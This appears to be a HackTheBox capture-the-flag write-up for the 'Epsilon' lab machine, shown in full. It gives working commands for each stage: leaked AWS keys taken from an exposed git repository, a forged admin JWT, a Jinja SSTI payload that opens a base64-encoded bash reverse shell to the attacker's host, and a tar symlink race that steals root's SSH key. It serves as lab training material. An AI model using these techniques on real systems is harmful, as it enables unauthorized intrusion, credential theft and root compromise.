Post

HackTheBox Epsilon Writeup

Explore the fundamentals of cybersecurity in the Epsilon Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.134 cloud.epsilon.htb epsilon.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.134"
domain="cloud.epsilon.htb epsilon.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV epsilon.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for epsilon.htb (10.10.11.134)
Host is up (0.049s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-title: 403 Forbidden
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Git Repository

as revealed by nmap on port 80.

1
2
3
4
5
mkdir epsilon
git-dumper http://epsilon.htb/epsilon
cd epsilon
gitleaks detect -v
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3

an AWS access key and secret key is showed

Aws Interaction

1
aws configure
  • AWS Access Key ID: AQLA5M37BDN6FJP76TDC
  • AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
  • Default Region: us-east-1

Alternatively, you can directly create or edit the AWS credentials file:

1
2
3
4
5
6
7
8
9
10
11
mkdir -p ~/.aws
cat <<EOL > ~/.aws/credentials
[default]
aws_access_key_id = AQLA5M37BDN6FJP76TDC
aws_secret_access_key = OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
EOL
cat <<EOL > ~/.aws/config
[default]
region = us-east-1
output = json
EOL

List functions:

1
aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions

Get Function:

1
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1

You’ll find <http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code>. Download it with:

1
2
3
wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
unzip code
cat lambda_function.py

The following code reveals the website’s mechanism and exposes a hardcoded secret key

Generating JWT for Admin Access

The admin coockie can be generated as follows:

1
python -c 'import jwt; print(jwt.encode({"username": "admin"}, "RrXCv`mrNe+5`wYq", algorithm="HS256"))'

Use the generated cookie for authentication:

1
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Access the target page at http://epsilon.htb:5000/home

Exploiting SSTI and Gaining Reverse Shell Access

To confirm the SSTI vulnerability, send a simple test payload to the /order endpoint:

1
2
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-raw 'costume={{7*7}}&q=1&addr=pwn' | grep '49'

Seeing 49 in the response confirms the SSTI vulnerability.

To exploit this, use a payload that can execute system commands, like the following from PayloadsAllTheThings:

1
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Start the listener:

1
nc -lvnp 9001

Prepare a reverse shell payload, encode it in base64 for easier injection, and deliver it to the target with curl:

1
2
3
4
5
rev="bash -i >& /dev/tcp/$(ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/9001 0>&1"
encodedrev=$(echo "$rev" | base64 -w 0)
payload="{{ namespace.__init__.__globals__.os.popen('echo $encodedrev | base64 -d | bash').read() }}"
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-urlencode "costume=$payload" --data-urlencode "q=1" --data-urlencode "addr=pwn"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

Read the flag:

1
cat /home/tom/user.txt

Analysis of backup.sh

System Process Monitoring with pspy
pspy was utilized to monitor scheduled server tasks, providing visibility into system processes without root access. More information on pspy on GitHub.

Script Analysis: /usr/bin/backup.sh
The backup.sh script runs every minute, managing backups in /opt/backups. Key operations include:

1
2
3
4
5
6
7
8
9
#!/bin/bash
file=$(date +%N)
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=$(date +%N)
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

Script Workflow

  • Cleanup: Empties /opt/backups.
  • Backup: Archives /var/www/app to /opt/backups with a timestamped filename.
  • Checksum: Computes and saves SHA1 hash of the tar file.
  • Archival: After a short delay, packages the checksum and tar file into /var/backups/web_backups.
  • Final Cleanup: Clears /opt/backups after completion.

Security Note
Using the -h (--dereference) option in tar follows symlinks, posing potential security risks by allowing unauthorized file access or modification through crafted symlinks.

Exploit

1
2
3
4
5
6
7
while [[ -z "$(ls /opt/backups 2>/dev/null)" ]]; do sleep 3; done
rm -f /opt/backups/checksum && ln -sf /root/.ssh /opt/backups/checksum
sleep 3
file=$(ls -t /var/backups/web_backups | head -n1)
cp "/var/backups/web_backups/$file" /tmp && cd /tmp
tar -xf "$file"
ssh -i /tmp/opt/backups/checksum/id_rsa root@10.10.11.134
1
cat root.txt
This post is licensed under CC BY 4.0 by the author.